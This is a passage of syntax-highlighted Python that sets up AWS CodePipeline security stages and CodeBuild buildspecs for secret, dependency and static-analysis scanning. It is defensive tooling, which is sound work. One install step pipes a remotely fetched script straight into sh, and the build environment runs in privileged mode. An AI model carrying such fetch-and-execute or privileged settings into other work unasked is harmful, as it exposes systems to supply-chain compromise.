                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">configuration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ActionMode</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CREATE_UPDATE</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">StackName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">staging-stack</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">TemplatePath</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BuildOutput::template.yaml</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">Capabilities</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CAPABILITY_IAM</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">RoleArn</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">arn:aws:iam::</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="nf">get_account_id</span><span class="p">()</span><span class="si">}</span><span class="s">:role/CloudFormationRole</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">inputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BuildOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">runOrder</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SecurityValidation</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">actionTypeId</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Invoke</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Lambda</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">configuration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">FunctionName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">security-validation-function</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">runOrder</span><span class="sh">'</span><span class="p">:</span> <span class="mi">2</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">setup_security_scanning_projects</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">pipeline_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Setup CodeBuild projects for various security scans</span><span class="sh">"""</span>
        
        <span class="c1"># Secret Scanning Project
</span>        <span class="n">self</span><span class="p">.</span><span class="nf">create_security_build_project</span><span class="p">(</span>
            <span class="n">project_name</span><span class="o">=</span><span class="sh">'</span><span class="s">secret-scanning-project</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Scan code for hardcoded secrets and credentials</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">buildspec</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="nf">get_secret_scanning_buildspec</span><span class="p">()</span>
        <span class="p">)</span>
        
        <span class="c1"># Dependency Scanning Project
</span>        <span class="n">self</span><span class="p">.</span><span class="nf">create_security_build_project</span><span class="p">(</span>
            <span class="n">project_name</span><span class="o">=</span><span class="sh">'</span><span class="s">dependency-scanning-project</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Scan dependencies for known vulnerabilities</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">buildspec</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="nf">get_dependency_scanning_buildspec</span><span class="p">()</span>
        <span class="p">)</span>
        
        <span class="c1"># SAST Analysis Project
</span>        <span class="n">self</span><span class="p">.</span><span class="nf">create_security_build_project</span><span class="p">(</span>
            <span class="n">project_name</span><span class="o">=</span><span class="sh">'</span><span class="s">sast-analysis-project</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Static Application Security Testing</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">buildspec</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="nf">get_sast_analysis_buildspec</span><span class="p">()</span>
        <span class="p">)</span>
        
        <span class="c1"># Container Scanning Project
</span>        <span class="n">self</span><span class="p">.</span><span class="nf">create_security_build_project</span><span class="p">(</span>
            <span class="n">project_name</span><span class="o">=</span><span class="sh">'</span><span class="s">container-scanning-project</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Container image vulnerability scanning</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">buildspec</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="nf">get_container_scanning_buildspec</span><span class="p">()</span>
        <span class="p">)</span>
        
        <span class="c1"># DAST Testing Project
</span>        <span class="n">self</span><span class="p">.</span><span class="nf">create_security_build_project</span><span class="p">(</span>
            <span class="n">project_name</span><span class="o">=</span><span class="sh">'</span><span class="s">dast-testing-project</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Dynamic Application Security Testing</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">buildspec</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="nf">get_dast_testing_buildspec</span><span class="p">()</span>
        <span class="p">)</span>
        
        <span class="c1"># Infrastructure Scanning Project
</span>        <span class="n">self</span><span class="p">.</span><span class="nf">create_security_build_project</span><span class="p">(</span>
            <span class="n">project_name</span><span class="o">=</span><span class="sh">'</span><span class="s">infrastructure-scanning-project</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Infrastructure as Code security scanning</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">buildspec</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="nf">get_infrastructure_scanning_buildspec</span><span class="p">()</span>
        <span class="p">)</span>
        
        <span class="c1"># Compliance Validation Project
</span>        <span class="n">self</span><span class="p">.</span><span class="nf">create_security_build_project</span><span class="p">(</span>
            <span class="n">project_name</span><span class="o">=</span><span class="sh">'</span><span class="s">compliance-validation-project</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Automated compliance framework validation</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">buildspec</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="nf">get_compliance_validation_buildspec</span><span class="p">()</span>
        <span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">create_security_build_project</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">project_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">description</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">buildspec</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Create a CodeBuild project for security scanning</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">codebuild</span><span class="p">.</span><span class="nf">create_project</span><span class="p">(</span>
                <span class="n">name</span><span class="o">=</span><span class="n">project_name</span><span class="p">,</span>
                <span class="n">description</span><span class="o">=</span><span class="n">description</span><span class="p">,</span>
                <span class="n">source</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CODEPIPELINE</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">buildspec</span><span class="sh">'</span><span class="p">:</span> <span class="n">buildspec</span>
                <span class="p">},</span>
                <span class="n">artifacts</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CODEPIPELINE</span><span class="sh">'</span>
                <span class="p">},</span>
                <span class="n">environment</span><span class="o">=</span><span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">LINUX_CONTAINER</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">image</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">aws/codebuild/amazonlinux2-x86_64-standard:3.0</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">computeType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BUILD_GENERAL1_MEDIUM</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">privilegedMode</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
                <span class="p">},</span>
                <span class="n">serviceRole</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">arn:aws:iam::</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="nf">get_account_id</span><span class="p">()</span><span class="si">}</span><span class="s">:role/CodeBuildRole</span><span class="sh">'</span>
            <span class="p">)</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to create </span><span class="si">{</span><span class="n">project_name</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">get_secret_scanning_buildspec</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Get buildspec for secret scanning</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="sh">"""</span><span class="s">
version: 0.2

phases:
  install:
    runtime-versions:
      python: 3.9
    commands:
      - pip install truffleHog3 detect-secrets
      - npm install -g secretlint
  
  pre_build:
    commands:
      - echo Starting secret scanning...
      - export SCAN_RESULTS_FILE=</span><span class="sh">"</span><span class="s">secret_scan_results.json</span><span class="sh">"</span><span class="s">
  
  build:
    commands:
      # TruffleHog3 scanning
      - trufflehog3 --format json --output $SCAN_RESULTS_FILE .
      
      # detect-secrets scanning
      - detect-secrets scan --all-files . &gt; detect_secrets_results.json
      
      # secretlint scanning
      - secretlint </span><span class="sh">"</span><span class="s">**/*</span><span class="sh">"</span><span class="s"> --format json &gt; secretlint_results.json
      
      # Aggregate results
      - python -c </span><span class="sh">"</span><span class="s">
import json
import sys

# Load scan results
results = {
    </span><span class="sh">'</span><span class="s">trufflehog</span><span class="sh">'</span><span class="s">: [],
    </span><span class="sh">'</span><span class="s">detect_secrets</span><span class="sh">'</span><span class="s">: [],
    </span><span class="sh">'</span><span class="s">secretlint</span><span class="sh">'</span><span class="s">: [],
    </span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s">: {</span><span class="sh">'</span><span class="s">total_secrets</span><span class="sh">'</span><span class="s">: 0, </span><span class="sh">'</span><span class="s">high_risk</span><span class="sh">'</span><span class="s">: 0}
}

# Process TruffleHog results
try:
    with open(</span><span class="sh">'</span><span class="s">$SCAN_RESULTS_FILE</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        trufflehog_results = json.load(f)
        results[</span><span class="sh">'</span><span class="s">trufflehog</span><span class="sh">'</span><span class="s">] = trufflehog_results
        results[</span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">total_secrets</span><span class="sh">'</span><span class="s">] += len(trufflehog_results)
except:
    pass

# Process detect-secrets results
try:
    with open(</span><span class="sh">'</span><span class="s">detect_secrets_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        detect_secrets_results = json.load(f)
        results[</span><span class="sh">'</span><span class="s">detect_secrets</span><span class="sh">'</span><span class="s">] = detect_secrets_results
        if </span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s"> in detect_secrets_results:
            for file_results in detect_secrets_results[</span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s">].values():
                results[</span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">total_secrets</span><span class="sh">'</span><span class="s">] += len(file_results)
except:
    pass

# Process secretlint results
try:
    with open(</span><span class="sh">'</span><span class="s">secretlint_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        secretlint_results = json.load(f)
        results[</span><span class="sh">'</span><span class="s">secretlint</span><span class="sh">'</span><span class="s">] = secretlint_results
        if isinstance(secretlint_results, list):
            results[</span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">total_secrets</span><span class="sh">'</span><span class="s">] += len(secretlint_results)
except:
    pass

# Determine high risk secrets
results[</span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">high_risk</span><span class="sh">'</span><span class="s">] = sum(1 for result in results[</span><span class="sh">'</span><span class="s">trufflehog</span><span class="sh">'</span><span class="s">] 
                                    if result.get(</span><span class="sh">'</span><span class="s">reason</span><span class="sh">'</span><span class="s">, </span><span class="sh">''</span><span class="s">).lower() in [</span><span class="sh">'</span><span class="s">high_entropy</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">regex</span><span class="sh">'</span><span class="s">])

# Save aggregated results
with open(</span><span class="sh">'</span><span class="s">aggregated_secret_scan.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
    json.dump(results, f, indent=2)

# Fail build if secrets found
if results[</span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">total_secrets</span><span class="sh">'</span><span class="s">] &gt; 0:
    print(f</span><span class="se">\"</span><span class="s">SECURITY ALERT: {results[</span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">total_secrets</span><span class="sh">'</span><span class="s">]} potential secrets found!</span><span class="se">\"</span><span class="s">)
    print(f</span><span class="se">\"</span><span class="s">High risk secrets: {results[</span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">high_risk</span><span class="sh">'</span><span class="s">]}</span><span class="se">\"</span><span class="s">)
    sys.exit(1)
else:
    print(</span><span class="sh">'</span><span class="s">No secrets detected in source code.</span><span class="sh">'</span><span class="s">)
</span><span class="sh">"</span><span class="s">
  
  post_build:
    commands:
      - echo Secret scanning completed
      - |
        if [ $CODEBUILD_BUILD_SUCCEEDING -eq 0 ]; then
          echo </span><span class="sh">"</span><span class="s">Secret scanning failed - stopping pipeline</span><span class="sh">"</span><span class="s">
          aws sns publish --topic-arn arn:aws:sns:us-east-1:$AWS_ACCOUNT_ID:devsecops-alerts </span><span class="se">\
</span><span class="s">            --message </span><span class="sh">"</span><span class="s">Secret scanning failed in pipeline. Review results immediately.</span><span class="sh">"</span><span class="s">
        fi

artifacts:
  files:
    - aggregated_secret_scan.json
    - secret_scan_results.json
    - detect_secrets_results.json
    - secretlint_results.json
</span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">get_dependency_scanning_buildspec</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Get buildspec for dependency scanning</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="sh">"""</span><span class="s">
version: 0.2

phases:
  install:
    runtime-versions:
      python: 3.9
      nodejs: 16
    commands:
      - pip install safety pipenv
      - npm install -g audit-ci retire
      - curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
  
  pre_build:
    commands:
      - echo Starting dependency vulnerability scanning...
  
  build:
    commands:
      # Python dependency scanning with Safety
      - |
        if [ -f </span><span class="sh">"</span><span class="s">requirements.txt</span><span class="sh">"</span><span class="s"> ]; then
          echo </span><span class="sh">"</span><span class="s">Scanning Python dependencies...</span><span class="sh">"</span><span class="s">
          safety check --json --output safety_results.json || true
        fi
      
      # Node.js dependency scanning
      - |
        if [ -f </span><span class="sh">"</span><span class="s">package.json</span><span class="sh">"</span><span class="s"> ]; then
          echo </span><span class="sh">"</span><span class="s">Scanning Node.js dependencies...</span><span class="sh">"</span><span class="s">
          npm audit --json &gt; npm_audit_results.json || true
          retire --js --json &gt; retire_results.json || true
        fi
      
      # Container dependency scanning with Trivy
      - |
        if [ -f </span><span class="sh">"</span><span class="s">Dockerfile</span><span class="sh">"</span><span class="s"> ]; then
          echo </span><span class="sh">"</span><span class="s">Scanning container dependencies...</span><span class="sh">"</span><span class="s">
          trivy fs --format json --output trivy_results.json .
        fi
      
      # Aggregate and analyze results
      - python -c </span><span class="sh">"</span><span class="s">
import json
import sys

vulnerability_summary = {
    </span><span class="sh">'</span><span class="s">total_vulnerabilities</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">sources</span><span class="sh">'</span><span class="s">: []
}

# Process Safety results (Python)
try:
    with open(</span><span class="sh">'</span><span class="s">safety_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        safety_data = json.load(f)
        for vuln in safety_data:
            vulnerability_summary[</span><span class="sh">'</span><span class="s">total_vulnerabilities</span><span class="sh">'</span><span class="s">] += 1
            # Safety doesn</span><span class="sh">'</span><span class="s">t provide severity, assume medium
            vulnerability_summary[</span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">] += 1
        vulnerability_summary[</span><span class="sh">'</span><span class="s">sources</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">safety</span><span class="sh">'</span><span class="s">)
except:
    pass

# Process NPM Audit results
try:
    with open(</span><span class="sh">'</span><span class="s">npm_audit_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        npm_data = json.load(f)
        if </span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="s"> in npm_data:
            for vuln_name, vuln_data in npm_data[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="s">].items():
                severity = vuln_data.get(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">unknown</span><span class="sh">'</span><span class="s">).lower()
                vulnerability_summary[</span><span class="sh">'</span><span class="s">total_vulnerabilities</span><span class="sh">'</span><span class="s">] += 1
                if severity in vulnerability_summary:
                    vulnerability_summary[severity] += 1
        vulnerability_summary[</span><span class="sh">'</span><span class="s">sources</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">npm_audit</span><span class="sh">'</span><span class="s">)
except:
    pass

# Process Trivy results
try:
    with open(</span><span class="sh">'</span><span class="s">trivy_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        trivy_data = json.load(f)
        if </span><span class="sh">'</span><span class="s">Results</span><span class="sh">'</span><span class="s"> in trivy_data:
            for result in trivy_data[</span><span class="sh">'</span><span class="s">Results</span><span class="sh">'</span><span class="s">]:
                if </span><span class="sh">'</span><span class="s">Vulnerabilities</span><span class="sh">'</span><span class="s"> in result:
                    for vuln in result[</span><span class="sh">'</span><span class="s">Vulnerabilities</span><span class="sh">'</span><span class="s">]:
                        severity = vuln.get(</span><span class="sh">'</span><span class="s">Severity</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">unknown</span><span class="sh">'</span><span class="s">).lower()
                        vulnerability_summary[</span><span class="sh">'</span><span class="s">total_vulnerabilities</span><span class="sh">'</span><span class="s">] += 1
                        if severity in vulnerability_summary:
                            vulnerability_summary[severity] += 1
        vulnerability_summary[</span><span class="sh">'</span><span class="s">sources</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">trivy</span><span class="sh">'</span><span class="s">)
except:
    pass

# Save summary
with open(</span><span class="sh">'</span><span class="s">dependency_scan_summary.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
    json.dump(vulnerability_summary, f, indent=2)

print(f</span><span class="sh">'</span><span class="s">Dependency scan complete:</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Total vulnerabilities: {vulnerability_summary[</span><span class="se">\"</span><span class="s">total_vulnerabilities</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Critical: {vulnerability_summary[</span><span class="se">\"</span><span class="s">critical</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">High: {vulnerability_summary[</span><span class="se">\"</span><span class="s">high</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Medium: {vulnerability_summary[</span><span class="se">\"</span><span class="s">medium</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Low: {vulnerability_summary[</span><span class="se">\"</span><span class="s">low</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)

# Fail build if critical or high vulnerabilities found
if vulnerability_summary[</span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="s">] &gt; 0 or vulnerability_summary[</span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">] &gt; 5:
    print(</span><span class="sh">'</span><span class="s">SECURITY GATE FAILURE: Critical or excessive high vulnerabilities found</span><span class="sh">'</span><span class="s">)
    sys.exit(1)
</span><span class="sh">"</span><span class="s">
  
  post_build:
    commands:
      - echo Dependency scanning completed
      - |
        if [ $CODEBUILD_BUILD_SUCCEEDING -eq 0 ]; then
          echo </span><span class="sh">"</span><span class="s">Dependency scanning failed - stopping pipeline</span><span class="sh">"</span><span class="s">
          aws sns publish --topic-arn arn:aws:sns:us-east-1:$AWS_ACCOUNT_ID:devsecops-alerts </span><span class="se">\
</span><span class="s">            --message </span><span class="sh">"</span><span class="s">Dependency vulnerability scan failed. Critical vulnerabilities detected.</span><span class="sh">"</span><span class="s">
        fi

artifacts:
  files:
    - dependency_scan_summary.json
    - safety_results.json
    - npm_audit_results.json
    - retire_results.json
    - trivy_results.json
</span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">get_sast_analysis_buildspec</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Get buildspec for SAST analysis</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="sh">"""</span><span class="s">
version: 0.2

phases:
  install:
    runtime-versions:
      python: 3.9
      java: corretto11
    commands:
      # Install SonarQube Scanner
      - wget https://binaries.sonarsource.com/Distribution/sonar-scanner-cli/sonar-scanner-cli-4.7.0.2747-linux.zip
      - unzip sonar-scanner-cli-4.7.0.2747-linux.zip
      - export PATH=$PATH:$(pwd)/sonar-scanner-4.7.0.2747-linux/bin
      
      # Install Bandit for Python
      - pip install bandit[toml]
      
      # Install ESLint security plugin for JavaScript
      - npm install -g eslint eslint-plugin-security
      
      # Install Semgrep
      - pip install semgrep
  
  pre_build:
    commands:
      - echo Starting Static Application Security Testing...
  
  build:
    commands:
      # Python SAST with Bandit
      - |
        if find . -name </span><span class="sh">"</span><span class="s">*.py</span><span class="sh">"</span><span class="s"> -type f | head -1 | grep -q </span><span class="sh">"</span><span class="s">\.py$</span><span class="sh">"</span><span class="s">; then
          echo </span><span class="sh">"</span><span class="s">Running Bandit for Python...</span><span class="sh">"</span><span class="s">
          bandit -r . -f json -o bandit_results.json || true
        fi
      
      # JavaScript SAST with ESLint Security
      - |
        if [ -f </span><span class="sh">"</span><span class="s">package.json</span><span class="sh">"</span><span class="s"> ]; then
          echo </span><span class="sh">"</span><span class="s">Running ESLint Security for JavaScript...</span><span class="sh">"</span><span class="s">
          echo </span><span class="sh">'</span><span class="s">{
            </span><span class="sh">"</span><span class="s">extends</span><span class="sh">"</span><span class="s">: [</span><span class="sh">"</span><span class="s">plugin:security/recommended</span><span class="sh">"</span><span class="s">],
            </span><span class="sh">"</span><span class="s">plugins</span><span class="sh">"</span><span class="s">: [</span><span class="sh">"</span><span class="s">security</span><span class="sh">"</span><span class="s">],
            </span><span class="sh">"</span><span class="s">rules</span><span class="sh">"</span><span class="s">: {
              </span><span class="sh">"</span><span class="s">security/detect-buffer-noassert</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">,
              </span><span class="sh">"</span><span class="s">security/detect-child-process</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">,
              </span><span class="sh">"</span><span class="s">security/detect-disable-mustache-escape</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">,
              </span><span class="sh">"</span><span class="s">security/detect-eval-with-expression</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">,
              </span><span class="sh">"</span><span class="s">security/detect-no-csrf-before-method-override</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">,
              </span><span class="sh">"</span><span class="s">security/detect-non-literal-fs-filename</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">,
              </span><span class="sh">"</span><span class="s">security/detect-non-literal-regexp</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">,
              </span><span class="sh">"</span><span class="s">security/detect-non-literal-require</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">,
              </span><span class="sh">"</span><span class="s">security/detect-object-injection</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">,
              </span><span class="sh">"</span><span class="s">security/detect-possible-timing-attacks</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">,
              </span><span class="sh">"</span><span class="s">security/detect-pseudoRandomBytes</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">,
              </span><span class="sh">"</span><span class="s">security/detect-unsafe-regex</span><span class="sh">"</span><span class="s">: </span><span class="sh">"</span><span class="s">error</span><span class="sh">"</span><span class="s">
            }
          }</span><span class="sh">'</span><span class="s"> &gt; .eslintrc.json
          
          npx eslint . --format json &gt; eslint_security_results.json || true
        fi
      
      # Multi-language SAST with Semgrep
      - |
        echo </span><span class="sh">"</span><span class="s">Running Semgrep for multi-language analysis...</span><span class="sh">"</span><span class="s">
        semgrep --config=auto --json --output=semgrep_results.json . || true
      
      # Aggregate SAST results
      - python -c </span><span class="sh">"</span><span class="s">
import json
import sys

sast_summary = {
    </span><span class="sh">'</span><span class="s">total_issues</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">tools_used</span><span class="sh">'</span><span class="s">: []
}

# Process Bandit results
try:
